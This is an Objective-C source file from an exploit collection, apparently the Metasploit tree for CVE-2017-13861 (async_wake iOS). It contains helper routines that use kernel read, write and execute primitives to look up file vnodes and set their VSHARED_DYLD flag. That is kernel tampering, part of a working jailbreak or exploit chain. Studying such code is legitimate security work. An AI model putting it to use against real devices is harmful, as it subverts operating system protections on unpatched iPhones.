Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/vnode_utils.m
Views: 11779
//1// *.c2// async_wake_ios3//4// Created by George on 18/12/17.5// Copyright © 2017 Ian Beer. All rights reserved.6//78#import <stdlib.h>910#import "kernel_utils.h"11#import "patchfinder64.h"12#import "kexecute.h"13#import "offsetof.h"1415#include "liboffsetfinder64/getoffsets.h"1617#import <Foundation/Foundation.h>18#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)1920int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) {2122size_t len = strlen(path) + 1;23uint64_t ptr = Kernel_alloc(8);24uint64_t ptr2 = Kernel_alloc(len);25KernelWrite(ptr2, path, len);2627if (Kernel_Execute(find_symbol("_vnode_lookup") + get_kernel_slide(), ptr2, flags, ptr, vfs_context, 0, 0, 0)) {28return -1;29}30*vnode = KernelRead_64bits(ptr);31Kernel_free(ptr2, len);32Kernel_free(ptr, 8);33return 0;34}3536uint64_t get_vfs_context() {37return ZmFixAddr(Kernel_Execute(find_symbol("_vfs_context_current") + get_kernel_slide(), 1, 0, 0, 0, 0, 0, 0));38}3940int vnode_put(uint64_t vnode) {41return (int)Kernel_Execute(find_symbol("_vnode_put") + get_kernel_slide(), vnode, 0, 0, 0, 0, 0, 0);42}4344uint64_t get_vnode_at_path(const char *path) {45uint64_t *vnode_ptr = (uint64_t *)malloc(8);46if (vnode_lookup(path, 0, vnode_ptr, get_vfs_context())) {47free(vnode_ptr);48return -1;49}50else {51uint64_t vnode = *vnode_ptr;52free(vnode_ptr);53return vnode;54}55}5657int fix_vnode_for_mmap(const char* path) {5859#define VSHARED_DYLD 0x0002006061uint64_t vnode = get_vnode_at_path(path);62if (vnode == -1) {63LOG("[-] Unable to fix mmap of path: %s\n", path);64return -1;65}66uint32_t v_flags = KernelRead_32bits(vnode + off_v_flags);67KernelWrite_32bits(vnode + off_v_flags, v_flags | VSHARED_DYLD);6869vnode_put(vnode);7071return KernelRead_32bits(vnode + off_v_flags) & VSHARED_DYLD;72}73747576